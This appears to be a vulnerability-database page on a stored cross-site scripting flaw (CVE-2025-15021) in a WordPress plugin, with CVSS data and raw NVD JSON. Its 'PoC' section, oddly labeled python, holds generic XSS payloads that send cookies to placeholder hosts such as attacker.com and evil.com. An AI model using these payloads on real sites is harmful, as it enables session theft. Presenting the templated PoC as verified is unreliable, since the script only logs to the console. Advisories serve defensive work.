Security Vulnerability Report
中文
CVE-2025-15021 CVSS 4.4 MEDIUM

CVE-2025-15021

Published: 2026-01-14 06:15:54
Last Modified: 2026-04-15 00:35:42

Description

The Gotham Block Extra Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gotham Block Extra Light ≤ 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-15021 PoC: Stored XSS in Gotham Block Extra Light Plugin --> <!-- Requires: Admin-level access, Multi-site or unfiltered_html disabled --> <!-- Method 1: Via Plugin Settings Page --> <!-- Inject in any plugin setting field --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handlers --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Method 3: Stored XSS via admin settings --> <svg/onload=fetch('https://evil.com/log?data='+btoa(document.domain))> <!-- Exploitation Script --> (function(){ // Auto-execute stored XSS payload var payload = '<script>fetch("https://attacker.com/cookie?"+document.cookie)<\/script>'; console.log('XSS Payload Ready:', payload); // Simulate admin setting injection point var settingsForm = document.querySelector('form[action*="options.php"]'); if(settingsForm) { console.log('Target form found - injection point available'); } })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15021", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:53.827", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gotham Block Extra Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Gotham Block Extra Light para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de la configuración de administrador en todas las versiones hasta la 1.5.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con permisos de nivel de administrador y superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio y a instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gotham-block-extra-light/trunk/gothamblock.php?marks=463,470,495,500,504,519,564,578#L463", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3438393/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b4c36899-3c7b-41b6-a38d-86c8834b4c03?source=cve", "source": "[email protected]"}]}}